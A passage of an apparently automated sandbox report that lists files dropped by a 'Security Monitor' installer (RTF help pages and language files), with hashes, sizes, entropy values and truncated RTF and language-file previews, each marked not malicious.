Light;}..{\fbimajor\f31503\fbidi \f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38875
Entropy (8bit):	5.023304885435034
Encrypted:	false
SSDEEP:	768:qMF2weYDc4L7bIWIRV9uUwcpanBczRyZHHuJfv:qM3ZxNkfv
MD5:	AA188680DBFDD29FCFD5767CFC4533D9
SHA1:	3CF7AC902EE42B074B4B5ED13E4529FD11A34ADD
SHA-256:	CC3FA96A625899F9221F3E76B6AB9C7B234DC7A4222C914EC9A78A7AA2D64825
SHA-512:	76C22CF016FF8C7C1122E5738FDCF79957D24A4590EAD2FE570CA833D1CF828F8B333CD105B2078AEF2032C503C03BC2536290E5302417D383889045E3B84817
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	27393
Entropy (8bit):	5.064150437041318
Encrypted:	false
SSDEEP:	768:lBliK0GRTzXqMKGCYv/DOo8eKjHHhSvMonfGQ3R:8KLTz/4WCo8eaHhW7n+QB
MD5:	9087FB9892DDAA830650011299AF2670
SHA1:	FF023B1F38F5B7D093C4F2AAB3470B1575BFA806
SHA-256:	969FC0043D05C76A4FBD148A0087DB9768B62D1DA17212D11A50F0A4A77CCBFC
SHA-512:	D0A9F5FFA8752A01F04B2B61024575E270D53FF5D30180EB4C3FC70C2A5A3D7A794DBE7B596CEC08E0554514D4113C2EC218B3C6533F0B3B952148C46DB8781A
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..##############################################################################..# ........! .. ....... ........ ..... ..... .. ..... "="!..##############################################################################..tbStart="....."..tbStartHint="...... ...... ......."..tbStop="...."..tbStopHint="......... ...... ......."..tbFind="....."..tbFindHint="..... .......... . ...."..tbSetting="........."..tbSettingHint="......... ........."..tbAbout=". ......"..tbAboutHint=". ......... / ............... .........."..tbHomePage=".. ...."..tbHomePageHint="....... ........ ........ ........."..tbToday="......."..tbTodayHint="....... . ............ ...."..tbHide="......"..tbHideHint="......... ..... (... ..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\McAfee_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50965
Entropy (8bit):	4.9704278921640555
Encrypted:	false
SSDEEP:	768:2aFkzOc7cskl/VGGAf+E2aiImsQZ/6A91:2aqz+aGIA91
MD5:	B4BB6B054B4A31DE24E87AC030375781
SHA1:	9DFAB2ACC25BA7B468C695E26B953D3E51987121
SHA-256:	B9AB1C6AC6061D9912ACFDF1499C8F4A22D92F950B27BE87BE7B4E0C631EA193
SHA-512:	39CC26F5008F356B8C30551E4B425BCF180662159A308846CD605A5B82E215C63CF5EAEB7A44996E4C39942DDB47FD30AEAF116B671DEA5073E906355244FE2C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	49985
Entropy (8bit):	5.016054674805171
Encrypted:	false
SSDEEP:	768:qqegxdUjOcPI0QhhiLVptabQhOsWxspoudZdRdud9dWlxjRw4L41PcQhiuOdcJpw:qqH7UnexIA9k
MD5:	6817C14DB33376EA13F5135582FEF07A
SHA1:	AC55EF25E5BA0C63319C2B7750AD3FB3B6141D1D
SHA-256:	8E6A77CDCF0EB74491B22151BCC19798620754E7F069D76227F8C2C1E28778B7
SHA-512:	81B3E721842C1F1CA3581AF69CB6495756EECAFD14385C512E5CEDFAF98BBED387D6B9AB27ED76754B17FFDB8B2E5414108702BD6E5B4A8DA27E821D9D7FF3B6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38593
Entropy (8bit):	5.02789644916169
Encrypted:	false
SSDEEP:	768:q4e6xdUjOcPI0QhhiLVpUGXnT9bZhdfGjlrqCHy/RKECA13GPkmZ/6A9S:q4L7UnoIA9S
MD5:	030CBC2FE247F98453B82ABC39C3C966
SHA1:	D5F3102D3878F32C5A5FC7AEE0AF3F63DDB74119
SHA-256:	88E89133FC2542C74552BC4AD65320B01F08ED3A1E5269C008A0236BAF0C0893
SHA-512:	86109DEF32876A40F30B9A4D7D5366BE4FA07D62F3019CC269F3F1A7BD68C2C6597BD2341E0CEAC72951D2B8C66DAEBBE46278ECCAE7CC4D54F32FA9C5B833ED
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42126
Entropy (8bit):	5.024542957132508
Encrypted:	false
SSDEEP:	768:q4e94jXjOcPI0QhhiLVtwYMgT+h6asH7UlKBGcg5dEmR7iC//+U1zfymCRwFOcEz:q49OUnwIA92
MD5:	08B4567798ABE579F2D14EA033F94E31
SHA1:	28E3F5CB129DB9B3B33E104773609BF86C8A6861
SHA-256:	2EEB8BAA34230B1D075F9E9C59289BC3B1ACDAB08EF0A181A1FB43F6F3F1BD41
SHA-512:	7F8F5598E931CCCBB0F259AFDF369E7A8FDCBBFE1C222EE8B4D5FF16FE502D4F9BDF54799D3C8420FC5903624DCC7E0412197A067FBA3EF82862ECD491C6F312
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36808
Entropy (8bit):	5.0329736161419865
Encrypted:	false
SSDEEP:	768:q4eM4jXTicPI0QhhiLVFBbRTRYDOuJLrEZLZ/6A9i:q4UyUnVIA9i
MD5:	F9230F9C9FA57AB35625AD7DFD1D21A1
SHA1:	27AAAF7B861E3C1A0D017377E0F59801E143D59C
SHA-256:	85125B0682653CE7A5E9569F8480A87F5A3F1D3978B47A3C1AAD5FE80401D7CB
SHA-512:	A8FB380CD3DB166ECF2174097158B4261020E8AB376A2B6180958BC615CEF3F7CFBC4D4D437ADC454801FC9193E80A94B56C54B4CB2CAF4485043F34B132F99C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	61781
Entropy (8bit):	4.857520301127485
Encrypted:	false
SSDEEP:	768:2aTIM0LDyaeOsDvEpd1rTmMYm7JRFOtf1SPuJtxLs2coKPvZZ0Z/6A97:2asMQwPIA97
MD5:	78E67BA68FD674E528877B2C4ED0EA13
SHA1:	2393978ADD7BA637E654A9FDB1815BB2D4000BE2
SHA-256:	E023BDA87BC91024BDF8117E2E8FD19628ED0006DF399033A1FDF0A261CD90F8
SHA-512:	D3306182B95C93CB4DDDD7219239F8F927EDD1BF5F3134B89E19637760B8E3F051EBA9ED8EC193CA31D04FDFF2FD75AF6A3F119C357E244DCD7DB151B8061753
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 0202060305040502

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\eset_warning.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43270
Entropy (8bit):	5.005983710564955
Encrypted:	false
SSDEEP:	384:2aFkyWNdW2OTYn/akJOc7jgskl7rVGGH249LYeoYGEovrMoQJhYNgDPsKknWeo7L:2aFk9Oc7cskl/VGGW+2/Z/6A92
MD5:	4AF18EE9439DF76D12E065E6AA400E6F
SHA1:	B9B939259BD0012DDF6A025199CB670F7B3C0CCE
SHA-256:	DF734E3254D106D22C2C57D81E1C8BA28DAB721488DBB48930516B94948A19DF
SHA-512:	80534BA7923F78792211AF00922D7B9E15A4FB25BF1661353BE820690EF3CDED245AC9BC951CF2BC6F48D8B9C5315DDE74DA9FC2CB8BE097ADECC3BE3EA07270
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-15V5O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	53477
Entropy (8bit):	4.993468879548167
Encrypted:	false
SSDEEP:	768:q4eDwJeLCdAT2njX8x3l7G5V5V5h5G5P5N58UkbdSLVMVIs2TFDtyZ12TXW++xUu:q4ZVFIA9b
MD5:	E70B7387C930D96F979C15DEF4A0EF82
SHA1:	9885403B2230DB0BC89F6C12A5326C28DD5C0ABB
SHA-256:	2ECA499E76C966798F73BFF750D868951A1F337854402446D060919F2D10CE87
SHA-512:	D37DA2B1EBF5808CBBE89163FDEEBB96E842F5FD3CC4A7523F478CA1433BF1F826F44EB219E397F8A427B4884A1987BF435D19F5C809BD06B1E7600E4FD5980C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-1HMU0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50965
Entropy (8bit):	4.9704278921640555
Encrypted:	false
SSDEEP:	768:2aFkzOc7cskl/VGGAf+E2aiImsQZ/6A91:2aqz+aGIA91
MD5:	B4BB6B054B4A31DE24E87AC030375781
SHA1:	9DFAB2ACC25BA7B468C695E26B953D3E51987121
SHA-256:	B9AB1C6AC6061D9912ACFDF1499C8F4A22D92F950B27BE87BE7B4E0C631EA193
SHA-512:	39CC26F5008F356B8C30551E4B425BCF180662159A308846CD605A5B82E215C63CF5EAEB7A44996E4C39942DDB47FD30AEAF116B671DEA5073E906355244FE2C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-1NEEC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	80841
Entropy (8bit):	4.938561816408635
Encrypted:	false
SSDEEP:	768:qqFy4Ix1ELz8lH0RvI9uMT98i3w2EH6mlH0RvI96M0+IOq4e4ewuwPkvEaUuuSD8:qqJC08J+nMVIA94
MD5:	22F333AB0A5F3E545899218EE216E751
SHA1:	50AB0BCFD2E86F7FD771C7CB18346AEACF834557
SHA-256:	5C6BC98349F242C511354DE1383E1F4C1D294118E300CF9DD5B0A8C937A17DD0
SHA-512:	2FD3FCFC64C9E870915CE1D8830E0F69031370DA502C4158D212F42FCAFF55BD0CBBFB915AD94A193BB7DEE8426167669FBD87C932BCE4D1591D2784744EFBB5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-2P21T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	34281
Entropy (8bit):	5.012287301852251
Encrypted:	false
SSDEEP:	384:2aFkTZ0dW2OTYn/akt0LL32En4leo75Y3kpTBLRA6AlEayv:2aFkA0LL32EhZ/6A9O
MD5:	EDED564ACC58819DE344EDCF72FC398B
SHA1:	5BE5194C6D1F83EB91B5ADC4F165BF49EA393FD1
SHA-256:	A036B3EA04F1F8A0C6DF8948FD2ECE8422AF95438DF6FE40AF14D46C457C387A
SHA-512:	3AC8B47B305149067386772E289302033EAB223D1C1B64474268B6DE8BE444377640BCB0F852DA53FBC0B7B17F71EA84AA2CA360F9D6CB938C502B1F689A9B7F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-5U0M3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48100
Entropy (8bit):	5.025830167724142
Encrypted:	false
SSDEEP:	768:q4Fknx1eiCUYCmpNM2UrPGsGx7TYlDIUldgOQrrFrf7IPWj2sqiHTLb3ybVaGMbQ:q4giYIA9b
MD5:	89ED020D20DA91E6E1F6AF7A3A4C3ED8
SHA1:	B387B9E8EE99429E41090937A41D60564CA50A5A
SHA-256:	29857E5F65A83CB250D7374A4AAFBCC1159C4318942F5044C9C12534A1962B41
SHA-512:	1CBFA048F043D784062288EC39E5A89F74EF418CE6FBA1C2FFA32555B993C446CAC8ADB63B05D2E60FF3DB65735E55664C954D84AC4F21DDB94542BFE536F6BF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\russian\is-D67PO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36808
Entropy (8bit):	5.0329736161419865
Encrypted:	false
SSDEEP:	768:q4eM4jXTicPI0QhhiLVFBbRTRYDOuJLrEZLZ/6A9i:q4UyUnVIA9i
MD5:	F9230F9C9FA57AB35625AD7DFD1D21A1
SHA1:	27AAAF7B861E3C1A0D017377E0F59801E143D59C
SHA-256:	85125B0682653CE7A5E9569F8480A87F5A3F1D3978B47A3C1AAD5FE80401D7CB
